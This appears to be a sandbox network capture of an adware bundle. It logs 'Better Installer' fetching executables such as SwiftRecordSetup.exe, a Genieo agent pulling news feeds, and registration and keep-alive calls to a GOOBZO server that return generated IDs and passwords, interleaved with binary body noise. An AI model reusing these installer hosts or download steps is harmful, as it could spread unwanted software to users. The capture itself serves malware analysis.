Content-Length: 15261

Connection: keep-alive
...........}.v.8..}?......Z.LQ..tf..q......7Y ...H.!H ..~.}s....G.Or..
.$;vZ..'.....,.(.P.B.._=...(dW2......U..&cWyA<.m#.......?=O.f.d..".
....?....M-E........*......y.6......c...,.B..-..N.D3..*a.L....7..?=..x
.....s.42.h....Mz.....n.$.....E<..H..1...S.....L.`.g/v.O......Z.Q..
.;..*..!..5K......o....y.;."./......c15..:[...|.V...o......E...! .... 
.$O....:...=.~..6..w..;b.;.n..yWku>.5.........O.7.....^.....h.3.NY.
.,......o.K.Y.1...L.`.p.....^.....-.........G...A0?............Rq ..Jx
<.c..0.C.s..X.N....S.....F...s>.b....gQ.QR..0..3.am.1'..I...n...
....Tr.f..E...f..>~<.q......... /..W?n.....F.vv3u6.............x
...7.Z....d<.DO..r....t.M.3.......,..p<...j.v...D.j.-.....>.m
.I.e>,.:,d_.....im0....3d......T2..w,=.'8."./..aY....a......`..^8-.
...R$..)........@.$...D.q......B........#g~..O....g=.U.h6Q...%S..@.%;Q
)4(t.vT......We.J......z.[x.....h..D.....P..D..t[.A.a|....ot....r.a0,F
.V.8.C.)..%Bk..@... ~...k.#.@....*{.;.vU.6_.a.pD....NQ0....a..h..g...1
[email protected]..&.......Qow..................L..F6....2....*...(...[....9...
..{.X..... .#0Qgi..I....-g4R8......@#.B..N......L.0W..l..C.....}..)..L
8*...B.....4_......27...mC...q.......%{D.^X.....Z.).....E.L&U.TU:..x..
Z..<...=..m.x.|....}&.H....6.".r......&.x..l.......b?.X..M.Px...|..
.m......_r#........=.zO.O.P.=..6c.=..{[email protected].......(..D....A....
.].l_....,h.T.3.&uq[. . .)|....92].............q.yTP.H...ANA.Ny..-....
Z........4:.mzx!.w..N....z..y...F..L..L.[w...u.c...0:.........r$B....5
,2)".2`%.s...>ql....>(...i,.U..S..m.am..He..]......K\...~..V<<< skipped >>>

GET /rss/topstories HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:03:55 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 1dkn74lalcuqr

X-Frame-Options: SAMEORIGIN

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:08:55 GMT

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 67

Via: http/1.1 yts219.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cHs f ])

Server: ATS

Content-Length: 15261

Connection: keep-alive
...........}.v.8..}?......Z.LQ..tf..q......7Y ...H.!H ..~.}s....G.Or..
.$;vZ..'.....,.(.P.B.._=...(dW2......U..&cWyA<.m#.......?=O.f.d..".
....?....M-E........*......y.6......c...,.B..-..N.D3..*a.L....7..?=..x
.....s.42.h....Mz.....n.$.....E<..H..1...S.....L.`.g/v.O......Z.Q..
.;..*..!..5K......o....y.;."./......c15..:[...|.V...o......E...! .... 
.$O....:...=.~..6..w..;b.;.n..yWku>.5.........O.7.....^.....h.3.NY.
.,......o.K.Y.1...L.`.p.....^.....-.........G...A0?............Rq ..Jx
<.c..0.C.s..X.N....S.....F...s>.b....gQ.QR..0..3.am.1'..I...n...
....Tr.f..E...f..>~<.q......... /..W?n.....F.vv3u6.............x
...7.Z....d<.DO..r....t.M.3.......,..p<...j.v...D.j.-.....>.m
.I.e>,.:,d_.....im0....3d......T2..w,=.'8."./..aY....a......`..^8-.
...R$..)........@.$...D.q......B........#g~..O....g=.U.h6Q...%S..@.%;Q
)4(t.vT......We.J......z.[x.....h..D.....P..D..t[.A.a|....ot....r.a0,F
.V.8.C.)..%Bk..@... ~...k.#.@....*{.;.vU.6_.a.pD....NQ0....a..h..g...1
[email protected]..&.......Qow..................L..F6....2....*...(...[....9...
..{.X..... .#0Qgi..I....-g4R8......@#.B..N......L.0W..l..C.....}..)..L
8*...B.....4_......27...mC...q.......%{D.^X.....Z.).....E.L&U.TU:..x..
Z..<...=..m.x.|....}&.H....6.".r......&.x..l.......b?.X..M.Px...|..
.m......_r#........=.zO.O.P.=..6c.=..{[email protected].......(..D....A....
.].l_....,h.T.3.&uq[. . .)|....92].............q.yTP.H...ANA.Ny..-....
Z........4:.mzx!.w..N....z..y...F..L..L.[w...u.c...0:.........r$B....5
,2)".2`%.s...>ql....>(...i,.U..S..m.am..He..]......K\...~..V<<< skipped >>>

HEAD /topstories/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Redirect

Date: Fri, 15 May 2015 23:05:02 GMT

Via: http/1.1 yts281.global.media.ir2.yahoo.com (ApacheTrafficServer [c s f ]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: no-store

Location: hXXp://news.yahoo.com/

Content-Type: text/html

Content-Language: en

Content-Length: 401

Age: 2

Connection: keep-alive

....

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:41 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: e765jbdalcus9

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

X-Cache: HIT from ncache4.global.media.ir2.yahoo.com-2

X-Cache-Lookup: HIT from ncache4.global.media.ir2.yahoo.com-2:3128

X-Cache: MISS from ncache4.global.media.ir2.yahoo.com

X-Cache-Lookup: MISS from ncache4.global.media.ir2.yahoo.com:4080

Via: 1.1 ncache4.global.media.ir2.yahoo.com-2:3128 (squid/2.7.STABLE9), 1.1 ncache4.global.media.ir2.yahoo.com:4080 (squid/2.7.STABLE9), http/1.1 yts284.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 22

Connection: keep-alive

GET /sd?is=sm HTTP/1.1

Range: bytes=232572-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:24 GMT

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Range: bytes 232572-465143/465144

Content-Length: 232572

Connection: keep-alive
...r..|}c...?.._..].]#.$X.Q..X.*.).b......{/...N. ............c....r..
!.??pr..../. [email protected]...._.~.@[email protected]<..Ax?;|.R
.[4...!?.p..B..x..!..?....O..7..[.pp.....2......}..X....7..y.......t..
..G.y;i.3q...d..........1K..F..l.6>......0..6e......).1....>@..q
.^.....m.....u...N.B..n.J...x......o....<.........y..{.9..o........
,.....f%M.3Bz}....Y.-`.1.....C_.=3..X.n...$..m6......<l..!~ic.^....
&.pA8.K..Xx%.8_Y..... ..nw...-.....9o.....x$T.....#[email protected]
.R.(..._.[......B.R......a.........d@......&..x.T...?............|..X.
...$..kc...........N^..V.........O....~.!.p...............8..........U
Ly.....B....#...'.....N.....&.J...; .K_....P].Y\ *>.....h.... B....
o...K.c..:.% ......&...Y..\.c/(..xZ!.mVA....U.A%.[O>.`H...........n
..:.k..7...b.F:z.........A...D<g.P...IG...)jxs....N!.&.d{.|%<...
..gJj.Z\?-..a.I.).$.c....n..,.7...09.tc....f.=5$.H....V.H..V..l.|..v..
w.N.#j<..cF5..b=.x0...'.... .v.7,.r........H.........?..J........y.
^.a..3..@.......^.=X.R..2O.....,.4...}..F....;..m......@ ..../.u...J.&
lt;..R..<.wr.0c..$..T"._.?Bv].8.......L:...... ........O`C....I...5
.1n...ZE...<..1]0......4Jz...d90..j..w..s.$.......q.. .y.....?....O
....`p.|`.....t..M=....W..K....c&...u.X......j..8....M..Ad...a........
..K..b.q. ..Y....k.......{..|..p......b.a.#{.t..J...j....]..A.._..9r9~
).O:.Q).MB..K..0... C.':'../..vN.'.....4.2z../...m..'.7Q.k.h.i!.G..9#.
K3JT.X..c........wP...O....(x..h../..l.c.`.>..i..........g..Y.if..=
._..... .......(.'..|&3.n.....v................a.bw..fC. .[t...{.B<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAKQll6RM0DNpmNM7zH3/Qc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=553842, public, no-transform, must-revalidate

Last-Modified: Fri, 15 May 2015 08:55:33 GMT

Expires: Fri, 22 May 2015 08:55:33 GMT

Date: Fri, 15 May 2015 23:06:37 GMT

Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015051
5085533Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
....^[email protected]...*.H........
[email protected]..>......P..4....7._8tr.. ..U^9.C...np...F!6.
..~G..T....p.d.x:. ..V%gz..'.`....%%y...#....j.....O.....JFM......... 
..u%v...L..]...}...B.R..r...H.P.5Q.b.s..fX.....4....d...NL={3..Z..4...
..|1......)..X6....<..W.e.T..FE...%.-#.s....|.l..$...7...#0...0...0
..........r..?.*......y"..0...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
......m5*R........2....>...yU4..L.. ...........u..Hez..Pn.....d...n
z(...V7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:..i..F*].
..*....{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s.....&."...
:.C.Q.i~rl..<..krS..8.B..o][email protected]...
U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.veri
sign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS inco
rp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U..
......0... .....0......0"..U....0...0.1.0...U....TGV-B-32010...*.H<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=14143976-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 8486385

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 14143976-22630360/22630361
...c..}.....).......c...g....B....J......5|C...}.E.b..."}.81.........&
gt;...&._V. |6..`...R...k..R.......7.OR..r.L5...tnY.e)F....QS..Y...U.v
.M...IcN....\...R;{.P>.....ci..-3.Z.......j2....s... e~...R.<T..
-....Z.3H.|q..5,.Q.V.......;P K.{...9....R?Q....|fe.R...lX...2.g...-.8
....a..2.&......l...4|.P.M*.Yl.q...1lp.Y.3..."4~...%.........aNM.E....
..3: ...vK..#h...R...9..- .B...b.Mfm..C`.L'^..P...NJ ......."T I......
9.'....S.>..Vr...J..e`Y^......4.....c....]_..W.9.r,....n....5..5F..
....4...a.1......M#u.w>I...=v......Z..Z|.....A...(etXHN..R.d]......
....7...k..t...9Ko..b......"......G...=<.p...D."'.,........A..k.^.L
......^>.C.....x.a........O.BN..&...^..j*..:.g..I.rQ:.SR#E.UH.....4
......iN":..m........T .....N....,.!~.....y......,..d.f.e.'.p......k..
..L..6....MY.."P\.e..ck.~5JU.I.A. N....J)p:...f..j...s........Jub=....
MpL.S.[SRH.......8^[email protected].].H....=i.Z.D..<,.A.\rm....'.
.._:>.!p.7fJ}......;9....*3..wy...B.....&.k?......m#..z.....X.=.[..
i..c.=2..P....C.t.0&.o.._'6..).U.1....gP...k....l.Vj.Y..'A"o......d.xS
Y.d..p..g}W.....{\WG#..@...!...u.[C..#V..r..j.,.fc.%....X~ru..B..G...Q
......p.U.gr4......e...k=V_v..q...a.P..ZR.W}_......2.9<.]V.k...2J.Z
.J....Y...b...6.......-r.JxDR.X/T...(w.0...^.}.,..nz..h.}..!Y.........
~....S..aK.<ox.....:..N>O..>P.bf..t....Y.....Dd\.........9...
Q3..u...#.2.v.>&n.*..._..'J'>..r...@"u..b!d..Kc.$g...X..?1;.9.C&
gt;....1zo...y.a.........9J...'.C.3.i=..&e.}'.}3M...l.V40<s2.w>%
j{..i..../...0Z...................R....}........y...H.=]....I!o...<<< skipped >>>

GET /__utm.gif?utmwv=4.7.2&utmn=-477500939&utmt=event&utme=5(engine*bootstrap_started)(1)&utmcs=UTF-8&utmje=1&utmhid=1589499410&utmac=UA-27085171-1&utmcc=__utma=999.1088883664.1431731093.1431731093.1431731093.1;+__utmz=999.1431731093617.1.1.utmcsr=(direct)|utmccn=(direct)%7utmcmd=(none);&gaq=1 HTTP/1.1

User-Agent: Java/1.6.0_18

Host: VVV.google-analytics.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Wed, 13 May 2015 21:45:35 GMT

Server: Golfe2

Content-Length: 35

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Age: 177558

Alternate-Protocol: 80:quic,p=1

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Wed, 13 May 2015 21:45:35 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 177558..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;..

GET /services/xml/rss/nyt/InternationalHome.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: MF2=19hhj9gxbdklf; RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Content-Length: 9054

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:05:15 GMT

Content-Type: text/xml;charset=UTF-8

Server: FeedsPortal

ETag: 1431726089000

Last-Modified: Fri, 15 May 2015 21:41:29 GMT

Connection: close
...........].r.:....}...j...-...8..e.V....d27. ......AZQj..C..V.T.....
'[email protected]&...nv.......?.......E..Mk.~CX...G.wo.nO..7.>:..,.N.
&}.R.Nb..M.....2xC.......4>h6.)..I.C&.]...M....x.....?....F#y.x.wk.
O....xs]$.fk...io476,....(._.H..Z.;.....n..v.._.......8K.u.(...m......
xU$.I..Y.<N....&..>.....Bl...s. .s.,`!.R...^..,b....#...z.....2.
@.u.`m....u{....i.....mp...^{`..y.H.<p.n.4P7._6.Q........E....5....
.d.pM{y..q.]u.....U......;..|K.0J.D.5G........<...b:...........i..9
.I.........?.....M..........*.4.e....../*...".$|..G.....[...g....g...[
T.tD..hr....0..'4eG..o...%...o.....6.....a...4..q..o._=..0M..m0..9..R.
q[C. L=Jh.sW.=2.jQ6C..&4.S F.'0.O....-{=.F.Ml.F.5...)....h.&<....X$
..dY"[email protected]...."..,......?...,...l,I..r".< mr2.I&
gt;j....".........>.(|?N..............XS6.v.....k..v.A.....O. ..a.[
.v.n.?.....bw.a.....il'.......LQ..EmG..>F..'...S..>...WM.Zh...x.
....K.........&."...B.&.....,...T..XD./.....#..F.....Q.>...y#.CI...
.2)9%\.T...X$. ...."...?...x8"c..>Lh071|..K...;K....p}..o.@$.t.7..&
>.(p..7.........?..>...].2.Iu .R%.Ioowg{.....jf..]{.W....%n....k
.~.....1^ D.a......k......=7.j......xM..|ACl.6..lB7.9j....L......l....
..m. ..w?...Zk.0./.5..1.......l.S...q...L..t......).G..."..b....M..x..
.4bb.HO..f...5{w..o..vc...)x.PP.x...5...z<...hJB.n[;z..{,P/....h.V.
`c.;.1...h...R....nmH...~......M....=. ..=9:i.....ur....s...{W.eg...W.
~9\O..6].G..3`..0........f.y..Z.H.L=(V.l..H.*....#.(....H[.C....k.....
..[../..wp<..[...e..2..(..t/..H....1...}l..d;...L......E._Ocz. <<< skipped >>>

GET /yandsearch?rdrnd=955722&lr=147&redircnt=1431731090.1 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yandex.ua

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Found

Date: Fri, 15 May 2015 23:04:50 GMT

Set-Cookie: yp=1747955090.sp.; path=/; expires=Thu, 31-Dec-2037 20:59:59 GMT; domain=.yandex.ua

Set-Cookie: Cookie_check=1; path=/; domain=.yandex.ua;

Location: hXXp://pass.yandex.ua/?retpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1&fretpath=http://yandex.ua/yandsearch?lr=147&redircnt=1431731090.1

X-Yandex-Items-Count: 10

Content-Type: text/plain

Content-Length: 0
HTTP/1.1 302 Found..Date: Fri, 15 May 2015 23:04:50 GMT..Set-Cookie: y
p=1747955090.sp.; path=/; expires=Thu, 31-Dec-2037 20:59:59 GMT; domai
n=.yandex.ua..Set-Cookie: Cookie_check=1; path=/; domain=.yandex.ua;..
Location: hXXp://pass.yandex.ua/?retpath=http://yandex.ua/yand
search?lr=147&redircnt=1431731090.1&fretpath=http://yand
ex.ua/yandsearch?lr=147&redircnt=1431731090.1..X-Yandex-Item
s-Count: 10..Content-Type: text/plain..Content-Length: 0..

GET /sd?is=sm HTTP/1.1

Range: bytes=58143-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:24 GMT

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Range: bytes 58143-465143/465144

Content-Length: 407001

Connection: keep-alive
.n..?rr.h....uY....Gy..w;_.6).....B`..=.<(Z...,.x<..!...V..V.&$3
....cO]&.G...r..nk.T4...%d...e.E.6.)..S"?...c:.)....Xiz$..L"3\.`G..s2%
:[email protected]......:..H(9..{...!.......&X......s}.i....i.
).2..};.d...;.X...O.........zx..j..R..Rx.6...L........Y.@3!...z...s...
.S.6...#......b#.o..H........ ..D.!......w..i..#.U..s.).[.......G..j7.
.}.Q'.Y..k..u...._...s>qn}.S..A.=..#..S.j..r.u..I.*....,Z..&......b
.`.x..M...;...n...F]f..e.A]..S.........f/....d.ULx\....j.....g..(...N.
Y.)K..'.%7Hb.]0.G.....(.2p...Uo.U.'D\....a:........n2Z}...$`...4$=~)..
z6.F"h ?.(..B.0X.H.....C..X..R......".>.q..........,H<6.'.r.....
....{....C !g...N.......s..r./.........[.&#...:4BE....a.QB...?.......a
....i/...e.....R. ..[6..G..c.b5"[email protected]{..mo=.p,Ye\.t...
~N.....9.qu.Q.S.|:...S,.3.}..&R.sN.....!..d>z..h..n...,CEk].>..1
...j[[email protected]...&..#.3...n.0w.v......#.v..s...."Q..D
(..O....G..g!.).#.]F.k..M..L:....*..Z....9....T..m....w..c.t4.\.O.o..!
.)|..1[...BEq.R..SP...}]...d[5.`..4.D*Y..A.h#%.....|.0RPj0...v..n.....
..w(".......t(.../.m....@.'..~..`...q.....Q....P.....e(w..K..o...gH.d.
3'@..eQ`p.....j.:.[.#.S].....N.I3.........Q."./....)..v....p.j...m.1PE
3L..../.i.S.(.E..C.I...S..O.b....t3.3.T.9..=.7.z7....W{f.$2z......g...
...ARd.>.4q....2...If.0...>.... .O4.....vv...........Hm....B..pf
....`..\-Q.........N....5.A..Y..C..-...n.......cuj...^...a..U[.p:.c...
.).. U.....\n!.a....v...t....}W....b8..[...FM...Ob.2}.q.. .(C..].w...@
.....E.....oj?i.S.w.7.%6....E...';.lB.]...|N.X..W.7^...6.[..N....#<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=643165-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 643164

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 643165-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 85f8900a83c840580b24eb9ea67db106.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Zh2jF6BQ3AOLdSJ4JrqEim8F-OVPG-RDhKpuq2M9VNgkVOOhGuMvjw==
...E.oDW...*/[email protected].....;.ht..^......
@..........F._o.[.Ru.....mT.............d.u .K.6M.,....../.p./z.8A.;.2
-...p0W6^F.....V.oP...U...qV...y...W................Z...h..T...y.....M
..*M........?O$..}s.......r...7..D.uBDE#.nqJ....!,......".M..#... ..oR
ox.tY%....`...D6f.c...)s...JOF\....r..2......kF 7\...p/../q.H..1`.A..a
.N......K..0.j...n... ...R-..F.mB...jq.ED..J.S...........u.@.:5p>..
..}n^B..*'...x...B......&..K......q....U%[.=H../.IR..y...<.=.......
.J.=Y^....%.......*....H...'W..)Vy..q..o. -.k..*.l(...>.Lys.=..?#..
A...E....Ht....4.h/......i........^.q..LI..y.....X..f........Gpu.....p
.5(...5..W.*Z......M..)......?.....;N.>5u.bC..,..kDa...n....Cu.....
6......K...../......m...6...OgF. D....m.:...a}$..s.....K.H0(`..g.....y
.....R..>.u9...[\.>.h.........g....i_....;..U.#.$9....V.T.>.H
e..L.=...8......\.-y..2~..~.'c............xT....=E..e...b._...>.'.z
...&rs.}.....3?.....n.T....".fu...b.(..tI2Z.../.8s.c.6..........9.GH\.
.\C.P%_>..V.)....(..F..,.alW...,.`.S:.Is\._...>......L.yHr..Vx.?
...xb.yF..'...'6.h..g...y q.....~.j....76N..{...;C..i,..o\.../x.0.]..e
'.n.K.b.`....dHV....f....I....3..'..!]..0.CxJ...=...V..O./.9......V...
=.Q`.F..K....q.P{.....i..9.*.*."[email protected]=..A.D...c>.....)FD/R..:...'...
..x3..T.&........C%.(.......(...( .2..v....R.>...p..gP.4...|.U..o..
...[C.U2..*g...K....H[.]...N.....Yl..XVQ.~....y.....V...N...o......?~.
.$.e..}........2.N[|..../.o...}....H^.....D.q..B#..~....[w~.}F*.f....$
..,..2.....=.s.bs :<..<=...W..#.Z.6...q..g)....'R..'.....A..<<< skipped >>>

GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 98

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=ylotcaicx4jrn145sliohv45; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:43 GMT
<RESULT>.<USER>.<ID>74e69be7-98f2-4545-86a7-90384c52
884d</ID>.<PW>R73ubJdk</PW>.</USER>.</RESUL
T>.....


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730963&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=ylotcaicx4jrn145sliohv45


HTTP/1.1 302 Found

Cache-Control: private

Content-Length: 1362

Content-Type: text/html; charset=utf-8

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730963&SBPIDS=1&KA=1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:43 GMT
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2a
cf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&a
mp;PartnerList=&ElapsedTime=1431730963&SBPIDS=1&KA=1">h
ere</a>.</h2>..</body></html>....<!DOCTYPE 
html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.or
g/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://w
ww.w3.org/1999/xhtml" >..<head><title>...Untitled Page.
.</title></head>..<body>..    <form name="form1" 
method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&UserI
D=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10
&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-3
6b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&P
artnerList=&ElapsedTime=1431730963&SBPIDS=1&KA=1" id="form
1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" va
lue="/wEPDwUJNzgzNDMwNTMzZGQU1engvXN0rq3VPQPI0y8 orWOLw==" />..<
input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERAT
OR" value="E8033FCD" />..    <div>..    ..    </div>.. 
   </form>..</body>..</html>......
<<< skipped >>>

GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=ylotcaicx4jrn145sliohv45


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 98

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:45 GMT
<RESULT>.<ANON>.<ID>09d19378-3ffd-4726-b60b-7f15db98
2dc3</ID>.<PW>PljGPm9d</PW>.</ANON>.</RESUL
T>.....


